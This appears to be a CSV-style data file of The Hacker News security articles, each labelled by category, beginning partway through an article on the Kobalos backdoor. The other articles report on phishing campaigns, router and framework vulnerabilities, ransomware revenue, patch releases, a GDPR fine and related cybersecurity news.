In other words, infected machines can be used as proxies that connect to other compromised servers, which can then be leveraged by the operators to create new Kobalos samples that use this new C&C server to create a proxy chain comprising of multiple infected servers to reach their targets.
To maintain stealth, Kobalos authenticates connections with infected machines using a 32-byte password that's generated and then encrypted with a 512-bit RSA private key. Subsequently, a set of RC4 keys are used — one each for inbound traffic and outbound traffic — for communications with the C&C server.
The backdoor also leverages a complex obfuscation mechanism to thwart forensic analysis by recursively calling the code to perform a wide range of subtasks.
""The numerous well-implemented features and the network evasion techniques show the attackers behind Kobalos are much more knowledgeable than the typical malware author targeting Linux and other non-Windows systems,"" the researchers said.
""Their targets, being quite high-profile, also show that the objective of the Kobalos operators isn't to compromise as many systems as possible. Its small footprint and network evasion techniques may explain why it went undetected until we approached victims with the results of our Internet-wide scan.""

",Malware
Targeted Phishing Attacks Successfully Hacked Top Executives At 150+ Companies,https://thehackernews.com/2020/04/targeted-phishing-attacks-successfully.html,"In the last few months, multiple groups of attackers successfully compromised corporate email accounts of at least 156 high-ranking officers at various firms based in Germany, the UK, Netherlands, Hong Kong, and Singapore.

Dubbed 'PerSwaysion,' the newly spotted cyberattack campaign leveraged Microsoft file-sharing services—including Sway, SharePoint, and OneNote—to launch highly targeted phishing attacks.

According to a report Group-IB Threat Intelligence team published today and shared with The Hacker News, PerSwaysion operations attacked executives of more than 150 companies around the world, primarily with businesses in finance, law, and real estate sectors.

""Among these high-ranking officer victims, more than 20 Office365 accounts of executives, presidents, and managing directors appeared.""

So far successful and still ongoing, most PerSwaysion operations were orchestrated by scammers from Nigeria and South Africa who used a Vue.js JavaScript framework-based phishing kit, evidently, developed by and rented from Vietnamese speaking hackers.


""By late September 2019, PerSwaysion campaign has adopted much mature technology stacks, using Google appspot for phishing web application servers and Cloudflare for data backend servers.""

Like most phishing attacks aiming to steal Microsoft Office 365 credentials, fraudulent emails sent as part of PerSwaysion operation also lured victims with a non-malicious PDF attachment containing 'read now' link to a file hosted with Microsoft Sway.

""The attackers pick legitimate cloud-based content sharing services, such as Microsoft Sway, Microsoft SharePoint, and OneNote to avoid traffic detection,"" the researchers said.

Next, the specially crafted presentation page on Microsoft Sway service further contains another 'read now' link that redirects users to the actual phishing site—waiting for the victims to enter their email account credentials or other confidential information.

Once stolen, attackers immediately move on to the next step and download victims' email data from the server using IMAP APIs and then impersonate their identities to further target people who have recent email communications with the current victim and hold important roles in the same or other companies.


""Finally, they generate new phishing PDF files with the current victim's full name, email address, legal company name. These PDF files are sent to a selection of new people who tend to be outside of the victim's organization and hold significant positions. The PerSwaysion operators typically delete impersonating emails from the outbox to avoid suspicion.""

""Evidence indicates that scammers are likely to use LinkedIn profiles to assess potential victim positions. Such a tactic reduces the possibility of early warning from the current victim's co-workers and increases the success rate of new phishing cycle.""

Though there's no clear evidence on how attackers are using compromised corporate data, researchers believe it can be 'sold in bulk to other financial scammers to conduct traditional monetary scams.'

Group-IB has also set-up an online web-page where anyone can check if their email address was compromised as part of PerSwaysion attacks—however, you should only use it and enter your email if you're highly expecting to be attacked.
",Cyber_Attack
EC-Council Launches Center of Advanced Security Training (CAST) !,https://thehackernews.com/2011/03/ec-council-launches-center-of-advanced.html,"EC-Council Launches Center for Advanced Security Training (CAST) to Address the Growing Need for Advanced Information Security Knowledge

Mar 9, 2011, Albuquerque, NM - According to the report, Commission on Cybersecurity for the 44th President, released in November 2010 by Center for Strategic and International Studies (CSIS), it is highlighted that technical proficiency is critical to the defense of IT networks and infrastructures. And there is evidently a shortage of such personnel in the current cyber defense workforce.

The United States alone needs between 10,000 to 30,000 well-trained personnel who have specialized skills required to effectively guard its national assets. In essence, there is a huge shortage of highly technically skilled information security professionals. The problem is both of quantity, and quality, and this is not a problem just for the government space. Public and private companies are also in dire straits trying to fill such staffing needs.

The information security workforce requires not just technically proficient people to operate and support existing systems that are already deployed. There is a great demand for highly skilled professionals who can design security systems, application engineers who can write secure codes, as well as forensics experts who are well trained with highly advanced computer examination skills. Threats to SCADA and Critical Infrastructures are mounting and nations cannot ignore that these threats needs effective methods and manpower to be mitigated, should it ever occur. With the exponential growth of mobile devices adoption, and higher dependency on wireless communications, hackers are finding more ways and means to exploit these technology, and crippling organization and agencies alike.

One of the keys to address these issues will be to be adequately train and equip cyber defenders with cutting edge technological skills that are required to prevent such attacks and build a sound perimeter defense to deter these threats. A company needs to ensure that its current cyber workforce is well-trained, and as an individual, one needs to maintain technical proficiencies that are up-to-date in order to stay employable. Without a doubt, training is essential.

Recognizing this gap, EC-Council has launched the Center of Advanced Security Training (CAST), to address the deficiency in the lack of highly technically skilled information security professionals. CAST will provide advanced and specialized information security training for specific domains such as application security, penetration testing, computer forensics, social engineering, malware and botnet analysis, among others. These highly technical training programs are designed with industry practitioners to ensure that content are current and relevant, and the focus of CAST training will be its thorough extensive hands-on approach, to enable participants to combat real life scenarios.

""Certification has grown to become a necessity. It is critical for information security professionals to be equipped with the baseline knowledge and skills that any certification provides,"" said Jay Bavisi, president of EC-Council. He adds, ""However, it is the advanced skills and technical proficiency that will make one stand out from its peers. Such skills can only be acquired through specialized and highly technical training. And these are the components that CAST aims to provide to the infosec professional community.""

Some of first CAST programs that will be rolled out are Advanced Penetration Testing course by Joseph McCray, an air force veteran who has tested over 150,000 machines in his career alone, and the Digital Mobile Forensics Deep Dive, by Wayne Burke, former cyber crime investigator with the South African police department. There is also the Advanced Application Security course by Tim Pierson, the well-traveled information security consultant and trainer, who had co-authored a book on Virtualization security.

CAST training will be available at all EC-Council hosted conferences and events, and through specially selected training partners. The launch classes for CAST will be at the upcoming TakeDownCon Dallas, from May 15-17, 2011.

For more information on EC-Council Center of Advanced Security Training, please visit https://www.eccouncil.org/CAST

Or contact

Leonard Chin
Director - CAST
leonard@eccouncil.org

About TakeDownCon

TakeDownCon is a brand new information security conference series, created by EC-Council. This highly technical information security conference series differs from others, and it is very focused - the theme of this first of the series is ""Taking Down Security"", focusing on attack and defense vectors. World class experts including Barnaby Jack, Kanen Flowers, Joe McCray, Rodrigo Branco, Sean Arries, among others, will demonstrate and showcase how security systems can be taken down at ease. This 2 days conference, in a very casual and relaxed setting, is targeted towards information security researchers, engineers and technical professionals. https://www.takedowncon.com

",Malware
Researchers uncover security holes in China-based Huawei routers,https://thehackernews.com/2012/08/researchers-uncover-security-holes-in.html,"Routers made by China-based Huawei Technologies have very few modern security protections and easy-to-find vulnerabilities, two network-security experts stated at the Defcon hacking convention.

Huawei is one of the fastest-growing network and telecommunications equipment makers in the world. The vulnerabilities were discovered and presented by Felix Lindner and Gregor Kopf of the security firm Recurity Labs. They talks about three vulnerabilities demonstrated at the Defcon conference, which included a session hijack, a heap overflow, and a stack overflow, and the discussion of more than 10,000 calls in the firmware code that went to sprintf, an insecure function.

The problem is due to the use of ""1990s-style code"" in the firmware of some Huawei VRP routers, he said. (The models are the Huawei AR18 and AR 29 series). With a known exploit, an attacker could get access to the systems, log in as administrator, change the admin passwords and reconfigure the systems, which would allow for interception of all the traffic running through the routers.

Both Lindner and Kopf have criticized Huawei for not having a security contact, as well as for its lack of security advisories for its products. Additionally, the researchers say firmware updates don't talk about bugs that may have been fixed.
A U.S.-based Huawei representative provided CNET with the following statement:
We are aware of the media reports on security vulnerabilities in some small Huawei routers and are verifying these claims. Huawei adopts rigorous security strategies and policies to protect the network security of our customers and abides by industry standards and best practices in security risk and incident management. Huawei has established a robust response system to address product security gaps and vulnerabilities, working with our customers to immediately develop contingency plans for all identified security risks, and to resolve any incidents in the shortest possible time. In the interests of customer security, Huawei also calls on the industry to promptly report all product security risks to the solutions provider so that the vendor's CERT team can work with the relevant parties to develop a solution and roll-out schedule.

",Vulnerability
Cisco Takes Down Ransomware Operation Generating $30 Million in Revenue For Hackers,https://thehackernews.com/2015/10/ransomware-hacking.html,"This will blow the minds of every single cyber criminal group out there – Researchers have discovered a group of hackers that is making an estimated $30 Million a year from their online criminal operation.

Yes, $30 MILLLLLLION annually.

Researchers from cyber security firm Cisco announced that they discovered a large ransomware campaign connected to the Angler Exploit Kit, one of the most potent exploit kits available in the underground market for hacking into computers.

Researchers noticed that the large percentage of infected users were connecting to servers belonging to hosting provider Limestone Networks. After digging out more, they estimated that a single hacker or a group of hackers is targeting up to 90,000 end users a day.

Here are some estimates by Cisco researchers after investigating the operation:
Life of an Angler exploit server is one day
Around 3600 users are compromised per day by ransomware
3% of targets paid the average ransom demand of $300 to the hackers

As a result, the researchers estimated that this particular hacker or a group of hackers is generating an annual revenue of more than $34 Million.

Remember, it's just a figure estimated by Cisco researchers following the log files retrieved from just one server. The actual number could be even larger than $30 Million annually, but we can not immediately come to any conclusions.
Researchers from Cisco Systems' Talos Security unit noted that ""using simple math [one] can easily determine that this [particular] adversary is making potentially $3 Million a month,"" but ""It is difficult to be 100% accurate with these numbers.""

Hackers Making $60 Million Annually

The security firm also claims that this hacker or group of hackers is responsible for up to 50% of Angler Exploit Kit activity, which means that the Angler kit might be generating revenue of more than $60M annually for hackers around the world.

The affected hosting provider Limestone Networks have since shut down the malicious servers after Cisco researchers contacted them.

Angler Exploit kit, first identified in late 2013, has managed to become one of the most popular exploit kits in the market. Essentially it packages a number of hacking tools that take advantage of vulnerabilities Flash, Java and other browser plugins to break into targets' systems.

Now cyber criminals are making use of ransomware in their kit that yield them more money per attack.
""This is a significant blow to the emerging hacker economy,"" researchers said, ""where ransomware and the black market sale of stolen IP, credit card info and personally identifiable information (PII) are generating hundreds of millions of dollars annually.""

How to Protect Against Ransomware?

However, there are several ways to help protect your computer against ransomware and other malware threats:
Make sure to keep all of the software on your computer up to date.
Make sure that automatic updating is turned on to get all the latest security updates.
Use secure connections for sensitive transactions.
Never open any attachment unless you know who it's from and why they are sending it.
Use virtual keyboard for internet banking.
Use strong alphanumeric and symbol passwords.
Common sense is another useful weapon in the fight against viruses.
Also Read:
How to protect your computer from CryptoLocker ransomware malware?
Free CryptoLocker Ransomware Decryption Tool Released
CoinVault Ransomware Decryption Tool Released
'Tox' Offers Free build-your-own Ransomware Malware Toolkit

",Cyber_Attack
Critical Flaw in Apache Struts2 Lets Hackers Take Over Web Servers,https://thehackernews.com/2017/09/apache-struts-vulnerability.html,"Security researchers have discovered a critical remote code execution vulnerability in the popular Apache Struts web application framework, allowing a remote attacker to run malicious code on the affected servers.

Apache Struts is a free, open-source, Model-View-Controller (MVC) framework for developing web applications in the Java programming language, which supports REST, AJAX, and JSON.

The vulnerability (CVE-2017-9805) is a programming blunder that resides in the way Struts processes data from an untrusted source. Specifically, Struts REST plugin fails to handle XML payloads while deserializing them properly.

All versions of Apache Struts since 2008 (Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12) are affected, leaving all web applications using the framework's REST plugin vulnerable to remote attackers.

According to one of the security researchers at LGTM, who discovered this flaw, the Struts framework is being used by ""an incredibly large number and variety of organisations,"" including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS.

""On top of that, [the vulnerability] is incredibly easy for an attacker to exploit this weakness: all you need is a web browser,"" Man Yue Mo, an LGTM security researcher said.

All an attacker needs is to submit a malicious XML code in a particular format to trigger the vulnerability on the targeted server.

Successful exploitation of the vulnerability could allow an attacker to take full control of the affected server, eventually letting the attacker infiltrate into other systems on the same network.

Mo said this flaw is an unsafe deserialization in Java similar to a vulnerability in Apache Commons Collections, discovered by Chris Frohoff and Gabriel Lawrence in 2015 that also allowed arbitrary code execution.

Many Java applications have since been affected by multiple similar vulnerabilities in recent years.

Since this vulnerability has been patched in Struts version 2.5.13, administrators are strongly advised to upgrade their Apache Struts installation as soon as possible.

More technical details about the vulnerability and proof-of-concept have not been published by the researchers yet, giving admins enough time to upgrade their systems.

",Cyber_Attack
"Facebook Hacker received $33,500 reward for Remote code execution vulnerability",https://thehackernews.com/2014/01/facebook-hacker-received-33500-reward.html,"Facebook has paid out its largest Bug Bounty ever of $33,500 to a Brazilian security researcher for discovering and reporting a critical Remote code execution vulnerability, which potentially allows the full control of a server.

In September, 'Reginaldo Silva' found an XML External Entity Expansion vulnerability affecting the part of Drupal that handled OpenID, which allows attacker to read any files on the webserver.

As a feature, Facebook allows users to access their accounts using OpenID in which it receives an XML document from 3rd service and parse it to verify that it is indeed the correct provider or not i.e. Receives at https://www.facebook.com/openid/receiver.php
In November 2013, while testing Facebook's 'Forgot your password' functionality, he found that the OpenID process could be manipulated to execute any command on the Facebook server remotely and also allows to read arbitrary files on the webserver.

In a Proof-of-Concept, he demonstrated that how an attacker can read the content of 'etc/passwd' file from Facebook's server just by manipulating the OpenID request with malicious XML code, and in order to extract the essential login information such as system administrator data and user IDs.
""Since I didn't want to cause the wrong impressions, I decided I would report the bug right away, ask for permission to try to escalate it to a [remote code execution] and then work on it while it was being fixed,"" he said.
After receiving bug reports from Silva, the Facebook Security team immediately released a short term patch within 3.5 hours, described as:
""We use a tool called Takedown for this sort of task because it runs on a low level, before much of the request processing happens. It allows engineers to define rules to block, log and modify requests. Takedown helped us ensure this line of code ran before anything else for any requests hitting /openid/receiver.php.""
The Facebook team determined that the vulnerability could have been escalated to a remote code execution issue, and rewarded Silva accordingly after patching the flaw.

Update: Facebook has accepted the flaw as Remote code execution (RCE). In a post Facebook said, ""We discussed the matter further, and due to a valid scenario he theorized involving an administrative feature we are scheduled to deprecate soon, we decided to re-classify the issue as a potential RCE bug"".

",Vulnerability
Beware! Fully-Functional Exploit Released Online for SAP Solution Manager Flaw,https://thehackernews.com/2021/01/beware-fully-functional-released-online.html,"Cybersecurity researchers have warned of a publicly available fully-functional exploit that could be used to target SAP enterprise software.
The exploit leverages a vulnerability, tracked as CVE-2020-6207, that stems from a missing authentication check in SAP Solution Manager (SolMan) version 7.2
SAP SolMan is an application management and administration solution that offers end-to-end application lifecycle management in distributed environments, acting as a centralized hub for implementing and maintaining SAP systems such as ERP, CRM, HCM, SCM, BI, and others.
""A successful exploitation could allow a remote unauthenticated attacker to execute highly privileged administrative tasks in the connected SAP SMD Agents,"" researchers from Onapsis said, referring to the Solution Manager Diagnostics toolset used to analyze and monitor SAP systems.
The vulnerability, which has the highest possible CVSS base score of 10.0, was addressed by SAP as part of its March 2020 updates.
Exploitation methods leveraging the flaw were later demonstrated at the Black Hat conference last August by Onasis researchers Pablo Artuso and Yvan Genuer to highlight possible attack techniques that could be devised by rogue parties to strike SAP servers and obtain root access.
The critical flaw resided in SolMan's User Experience Monitoring (formerly End-user Experience Monitoring or EEM) component, thus putting every business system connected to the Solution Manager at risk of a potential compromise.
The public availability of a Proof-of-Concept (PoC) exploit code, therefore, leaves unpatched servers exposed to a number of potential malicious attacks, including:
Shutting down any SAP system in the landscape
Causing IT to control deficiencies impacting financial integrity and privacy, leading to regulatory compliance violations
Deleting any data in the SAP systems, causing business disruptions
Assigning superuser privileges to any existing or new user, allowing those users to run critical operations, and
Reading sensitive data from the database
""While exploits are released regularly online, this hasn't been the case for SAP vulnerabilities, for which publicly available exploits have been limited,"" Onapsis researchers said.
""The release of a public exploit significantly increases the chance of an attack attempt since it also expands potential attackers not only to SAP-experts or professionals, but also to script-kiddies or less-experienced attackers that can now leverage public tools instead of creating their own.""

",Vulnerability
Microsoft Patch Tuesday — January 2019 Security Updates Released,https://thehackernews.com/2019/01/windows-security-updates.html,"Microsoft has issued its first Patch Tuesday for this year to address 49 CVE-listed security vulnerabilities in its Windows operating systems and other products, 7 of which are rated critical, 40 important and 2 moderate in severity.

Just one of the security vulnerabilities patched by the tech giant this month has been reported as being publicly known at the time of release, and none are being actively exploited in the wild.

All the seven critical-rated vulnerabilities lead to remote code execution and primarily impact various versions of Windows 10 and Server editions.

Two of the 7 critical flaws affect Microsoft's Hyper-V host OS that fails to properly validate input from an authenticated user on a guest operating system, three affect the ChakraCore scripting engine that fails to properly handle objects in memory in Edge, one affects Edge directly that occurs when the browser improperly handles objects in memory, and one impacts the Windows DHCP client that fails to properly handle certain DHCP responses.

The publicly disclosed flaw but not exploited in the wild, identified as CVE-2019-0579 and rated as important, concerns a remote code execution (RCE) vulnerability in the Windows Jet Database engine that could be exploited to execute arbitrary code on a victim's system by tricking him into opening a specially-crafted file.

Other ""Important"" vulnerabilities are addressed in the .NET framework, MS Exchange Server, Edge, Internet Explorer, SharePoint, the Office suite, Windows Data Sharing Service, Visual Studio, Outlook, and Windows Subsystem for Linux.

One of the MS Office flaws patched this month is an information disclosure bug (CVE-2019-0560) which exists when Microsoft Office improperly discloses the contents of its memory.

Attackers can exploit this vulnerability by tricking a user into opening a specially crafted Office document. Successful exploitation could allow an attacker to obtain information from the Office memory that can later be used to compromise a victim's computer or data.

Microsoft credited Tal Dery and Menahem Breuer of Mimecast Research Labs for this vulnerability. To know more details about their findings, you can head on to an advisory and a blog post published by Mimecast.

Lock Screen Bypass Flaw in Skype for Android Also Patched

Another notable bug patched by Microsoft this month is a privilege vulnerability (CVE-2019-0622) vulnerability in Skype for Android that could have allowed hackers to bypass the lock screen and access personal data on an Android device—by merely answering a Skype call to that device.

The Skype flaw has been rated as 'moderate' and requires an attacker to have physical access to your device. A patch for this vulnerability was included in the December 23 release of Skype, but Skype for Android users need to manually update the app from Google Play.

Although Microsoft does not list this as publicly known, the researcher posted a YouTube video demonstrating the vulnerability back on December 31.

Though not part of this months patch update, users are also recommended to download the latest update to patch a memory corruption vulnerability (CVE-2018-8653) in Internet Explorer that Microsoft addressed by releasing an out of band patch in December, as the flaw continues to be exploited in the wild.

Users and system administrators are strongly recommended to apply the latest security patches as soon as possible to keep hackers and cybercriminals away from taking control of their systems.

For installing the latest security patch updates, head on to Settings → Update & Security → Windows Update → Check for updates, on your computer system or you can install the updates manually.

",Vulnerability
Google fined $57 million by France for lack of transparency and consent,https://thehackernews.com/2019/01/google-privacy-gdpr-fine.html,"The French data protection watchdog CNIL has issued its first fine of €50 million (around $57 million) under the European Union's new General Data Protection Regulation (GDPR) law that came into force in May last year.

The fine has been levied on Google for ""lack of transparency, inadequate information and lack of valid consent regarding the ads personalization,"" the CNIL (National Data Protection Commission) said in a press release issued today.

The fine was imposed following the latest CNIL investigation into Google after receiving complaints against the company in May 2018 by two non-profit organizations—None Of Your Business (NOYB) and La Quadrature du Net (LQDN).

Why Has Google Been Fined?

According to the CNIL, Google has been found violating two core privacy rules of the GDPR—Transparency, and Consent.

First, the search engine giant makes it too difficult for users to find essential information, like the ""data-processing purposes, the data storage periods or the categories of personal data used for the ads personalisation,"" by excessively disseminating them across several documents with buttons and links and requiring up to 6 separate actions to get to the information.

And even when the users find the information they are looking for, the CNIL says that information is ""not always clear nor comprehensive.""

""Users are not able to fully understand the extent of the processing operations carried out by Google,"" the Commission says. ""Similarly, the information communicated is not clear enough so that the user can understand that the legal basis of processing operations for the ads personalization is the consent and not the legitimate interest of the company.""

Secondly, Google does not obtain its user's valid consent to process data for ads personalization purposes.

Google Fined For Violating GDPR Law

According to the CNIL, the option to personalize ads is ""pre-ticked"" when creating an account with Google, effectively making its users unable to exercise their right to opt out of data processing for ads personalization, which is illegal under the GDPR.

Finally, the CNIL says Google by default ticks the boxes that say ""I agree to Google's Terms of Service"" and that ""I agree to the processing of my information as described above and further explained in the Privacy Policy"" when users create an account.

However, broader consent like this is also illegal under the GDPR rules.

""The user gives his or her consent in full, for all the processing operations purposes carried out by Google based on this consent (ads personalization, speech recognition, etc.),"" the Commission says.

Although the 50 million euros fine seems large, it is small compared to the maximum penalty allowed by GDPR for large companies like Google, which is 20 million euros or 4 percent of the company's annual global revenue, whichever is higher.

Besides Google, NOYB and LQDN also filed a complaint against Facebook in May, so let's see what happens to Facebook next.

Other Record Fines On Google

It's not the first time when Google has been fined under privacy violation. Back in July, the company was levied with a record $5 billion fine by the EU in an Android antitrust case, which Google is currently appealing.

However, a few months back, the search engine giant overhauled its Android business model in Europe, electing to charge a fee to European Android phone manufacturers who want to include its apps on their Android handsets.

The EU also hit Google with a separate antitrust penalty of $2.7 billion (2.4 billion euros) in 2017 over shopping-search results in Google Search.

In response to the GDPR fine imposed by France, Google said in a statement: ""People expect high standards of transparency and control from us. We're deeply committed to meeting those expectations and the consent requirements of the GDPR. We're studying the decision to determine our next steps.""
",Data_Breaches
MalDrone — First Ever Backdoor Malware for Drones,https://thehackernews.com/2015/01/MalDrone-backdoor-drone-malware.html,"The use of small Unmanned Aerial Vehicles (UAVs) called Drones is rapidly transforming the way we go to war. Drones were once used for land surveillance, Delivering Pizza's, then equipped with bombs that changed the way nations conduct war and last year, these hovering drones were also used to hack Smartphones.

Recently, a security researcher has found a backdoor in the Parrot AR Drones manufactured by a French-based company, that could allow a malicious hacker to remotely hijacked the radio controlled flying quadcopter helicopter.

The Parrot AR Drone, revealed at the International CES 2010 in Las Vegas, is a quadricopter helicopter which you can control with your smartphone or tablet. It features two built-in cameras, is easy to fly, and can be controlled without too much danger of it flipping over or smashing into things.

FIRST EVER MALWARE FOR DRONES
Security researcher, Rahul Sasi claimed to have developed the first ever backdoor malware for AR drone ARM Linux system, dubbed Maldrone [MALware DRONE].

Maldrone can be used to remotely hijack drones, as shown in a video demonstration below published by the hacker.
""In this we would show infecting a drone with Maldrone and expecting a reverse tcp connection from drone. Once connection is established we can interact with the software as well as drivers/sensors of drone directly. There is an existing AR drone piloting program. Our backdoors kills the autopilot and takes control. The Backdoor is persistent across resets,"" video explained.
According to the researcher, Maldrone can interact with the drone's device drivers and sensors silently and allow the hacker to control the drone remotely. As a result, Maldrone could be used to conduct remote surveillance.

Rahul said the Maldrone could also be used to attack other drone makers as well. However, the backdoor could be exploited within a wireless range.

DRONE CRASHES ON WHITE HOUSE GROUNDS
Drones has highlighted the growing security threat posed by small Unmanned Aerial Vehicles (UAVs). Just recently, a 2-foot quadcopter drone crashed onto the White House grounds in the early hours of Monday morning, when the president and first lady Michelle Obama were in India.

A government employee told the Secret Service that he lost control of the quadcopter drone before it crashed on the grounds of the White House. However, no one at the White House were in danger.

",Malware
Microsoft Warns CrowdStrike of Hackers Targeting Azure Cloud Customers,https://thehackernews.com/2020/12/microsoft-warns-crowdstrike-of-hackers.html,"New evidence amidst the ongoing probe into the espionage campaign targeting SolarWinds has uncovered an unsuccessful attempt to compromise cybersecurity firm Crowdstrike and access the company's email.
The hacking endeavor was reported to the company by Microsoft's Threat Intelligence Center on December 15, which identified a third-party reseller's Microsoft Azure account to be making ""abnormal calls"" to Microsoft cloud APIs during a 17-hour period several months ago.
The undisclosed affected reseller's Azure account handles Microsoft Office licensing for its Azure customers, including CrowdStrike.
Although there was an attempt by unidentified threat actors to read the emails, it was ultimately foiled as the firm does not use Microsoft's Office 365 email service, CrowdStrike said.
The incident comes in the wake of the supply chain attack of SolarWinds revealed earlier this month, resulting in the deployment of a covert backdoor (aka ""Sunburst"") via malicious updates of a network monitoring software called SolarWinds Orion.
Since the disclosure, Microsoft, Cisco, VMware, Intel, NVIDIA, and a number of US government agencies have confirmed finding tainted Orion installations in their environments.
The development comes a week after the Windows maker, itself a SolarWinds customer, denied hackers had infiltrated its production systems to stage further attacks against its users and found evidence of a separate hacking group abusing Orion software to install a separate backdoor called ""Supernova.""
It also coincides with a new report from The Washington Post today, which alleges Russian government hackers have breached Microsoft cloud customers and stolen emails from at least one private-sector company by taking advantage of a Microsoft reseller that manages cloud-access services.
""Our investigation of recent attacks has found incidents involving abuse of credentials to gain access, which can come in several forms. We have not identified any vulnerabilities or compromise of Microsoft product or cloud services,"" Microsoft's Senior Director Jeff Jones said in an email response to The Hacker News.
CrowdStrike has also released CrowdStrike Reporting Tool for Azure (CRT), a free tool that aims to help organizations review excessive permissions in their Azure Active Directory or Office 365 environments and help determine configuration weaknesses.
In addition, the US Cybersecurity Infrastructure and Security Agency (CISA) has separately created a similar open-source utility called Sparrow to help detect possible compromised accounts and applications in Azure or Office 365 environments.
""The tool is intended for use by incident responders and is narrowly focused on activity that is endemic to the recent identity- and authentication-based attacks seen in multiple sectors,"" CISA said.
For its part, SolarWinds has updated its security advisory, urging customers to update Orion Platform software to version 2020.2.1 HF 2 or 2019.4 HF 6 to mitigate the risks associated with Sunburst and Supernova vulnerabilities.

",Malware
Ukrainian Police Arrest 6 Hackers Linked to DDoS and Financial Attacks,https://thehackernews.com/2019/01/ukrainian-cybercriminals.html,"Ukrainian Police have this week busted out two separate groups of hackers involved in carrying out DDoS attacks against news agencies and stealing money from Ukrainian citizens, respectively.

According to the authorities, the four suspected hackers they arrested last week, all aged from 26 to 30 years, stole more than 5 million Hryvnia (around 178,380 USD) from the bank accounts of Ukrainian citizens by hacking into their computers.

The suspects carried out their attacks by scanning vulnerable computers on the Internet and infecting them with a custom Trojan malware to take full remote control of the systems.

The group then apparently enabled key-logging on the infected computers in an attempt to capture banking credentials of victims when the owners of those infected computers fill in that information on any banking site or their digital currency wallet.
Once getting a hold on the victims banking and financial data, the attackers logged into their online banking accounts and transferred the funds or cryptocurrencies to the accounts controlled by the attackers.

""Usually such actions were carried out at night,"" the authorities said. ""At the same time, the bank did not react to these operations, as they were carried out by the trusted user. The operation was completely legitimate.""

Besides stealing money, the suspects also left the backdoor on the victims' computers for further control, so that they can use them in the future for carrying out other illicit activities.

Criminal proceedings against all the four people have been initiated under several articles of the Criminal Code of Ukraine, including theft and unauthorized interference with the work of computers, automated systems, computer networks or telecommunication networks.

Two Ukrainian DDoS Hackers Arrested

In a separate press release, Police today announced the arrest of two other hackers, 21- and 22-years-old, suspected of performing DDoS attacks against several critical Ukrainian resources, including news sites of the city of Mariupol and several state educational institutions.
According to the authorities, the duo developed two DDoS hacking tools which they used to send hundreds of automatic queries to their targeted regional information resources every second, eventually making their service unavailable.

The pair is currently facing up to six years in prison under article 361 of the Criminal Code of Ukraine, which includes unlawful interference with the work of computers, automated systems, computer networks or telecommunication networks.

",Cyber_Attack
Serious Security Flaw : iPhone Bug Allows SMS Spoofing,https://thehackernews.com/2012/08/serious-security-flaw-iphone-bug-allows.html,"A rather serious security flaw in the iPhone's SMS messaging system has been discovered and revealed by well-known security researcher and jailbreak extraordinaire 'pod2g'. Security flaw affecting all iPhones that he says could facilitate hackers or thieves to access your personal information.

The researcher claims that the flaw has actually been present in Apple's iPhone software ever since the first iPhone was launched in 2007, but has failed to have been picked up on by anybody, including Apple it seems.

Researcher revealed an SMS spoofing flaw that affects every version of Apple's mobile OS. Using the flaw, hackers could spoof their identities via text and send messages asking for private information (by pretending to be from a users' bank, for example), or direct users to phishing sites.

Users would be under the impression they were replying to the sender displayed on the screen of their iPhone, when in fact the text would be routed through to a different number without their knowledge.

pod2g highlights several ways in which malicious parties could take advantage of this flaw, including phishing attempts linking users to sites collecting personal information or spoofing messages for the purposes of creating false evidence or gaining a recipient's trust to enable further nefarious action.

""…In the text payload, a section called UDH (User Data Header) is optional but defines a lot of advanced features not all mobiles are compatible with. One of these options enables the user to change the reply address of the text. If the destination mobile is compatible with it, and if the receiver tries to answer the text, he will not respond to the original number, but to the specified one.""

In many cases the malicious party would need to know the name and number of a trusted contact of the recipient in order for their efforts to be effective, but the phishing example shows how malicious parties could cast broad nets hoping to snare users by pretending to be a common bank or other institution.

In the meantime be prepared to update your iOS version as new options become available, as exploits are discovered Apple typically works quickly to fix those issue whenever possible.

",Vulnerability
Beware — Someone is dropping Malware-infected USB Sticks into People's Letterbox,https://thehackernews.com/2016/09/usb-malware.html,"Hey! Wait! Wait! Wait!

Don't plug in that USB stick into your laptop. It could infect your computer with malware and viruses.

Australia's Victoria Police Force has issued a warning regarding unmarked USB flash drives containing harmful malware being dropped inside random people's letterboxes in the Melbourne suburb of Pakenham.

It seems to one of the latest tactics of cyber criminals to target people by dropping malware-laden USB sticks into their mailboxes, in the hope unsuspecting users will plug the infected devices into their personal or home computers.

The warning, published on the official website of the Victoria Police, one of Australia's state police departments, reads:
""Members of the public are allegedly finding unmarked USB drives in their letterboxes.

Upon inserting the USB drives into their computers victims have experienced fraudulent media streaming service offers, as well as other serious issues [malware].

The USB drives are believed to be extremely harmful and members of the public are urged to avoid plugging them into their computers or other devices.""
The warning comes after a recent flood of reports from residents in the suburb of Pakenham who found compromised unmarked drives in their mailboxes and inserted them into their computers.

Although the police did not provide any further detail on the type of malware on the drives or whether the victims were served ransomware demands on running the malicious code on the drives, this is no surprise to us that some people plugged in the drives into their PCs.

Cyber Criminals are Leveraging Human Psychology

A study conducted by a group of researchers from the University of Illinois, the University of Michigan and Google revealed that nearly half of people would not only plug a USB drive they've found on the ground into their PCs, but would also open files and click on unfamiliar links.

The worst part is that people don't make this blunder unknowingly because it has long been known that USB drives can carry and transfer destructive malware and viruses to your computers, perhaps the most infamous example of it was the Stuxnet worm.

The Stuxnet sabotage malware was allegedly designed by the U.S. and Israel to disrupt Iran's nuclear facility and destroyed its uranium enrichment centrifuges in 2010. The infection is believed to have been carried through an infected USB stick.

Keeping this human psychology in mind, just last month a Hong Kong-based company started selling a USB stick, dubbed USB Kill v2, that can fry any computer it's plugged into.

So, next time when you find any USB drive or receive it in the post, show more caution and make sure you don't plug it into your laptop or computer.

",Malware
"Call for Articles : THN Magazine June 2012, Malware Edition",https://thehackernews.com/2012/05/call-for-articles-thn-magazine-june.html,"Call for Articles : THN Magazine June 2012, Malware Edition

The Hacker News is calling for our June Magazine on the issue related to MALWARE. We'd like to see an analysis of the history of these most worrying viruses and the contemporary usage in cyber espionage and cyber warfare.

It would be interesting to analyze the impact of the malware diffusion in the private sector and in government agencies, emphasizing the effectiveness of the cyber threat.

Other topics to study are cyber crime activities that involve malware as method of monetization, with particular references to principal frauds schemes.

What is the awareness level on hazards of the malware in common people and how the theat could harm new scenarios like mobiles and Cloud.

What are the main countermeasures to mitigate virus diffusion?

Thank you for your thoughtful consideration and we are looking forward to your work on this very important topic! Email us at admin@thehackernews.com

Download all THN Magazines Free from official Website : https://magazine.thehackernews.com/

",Malware
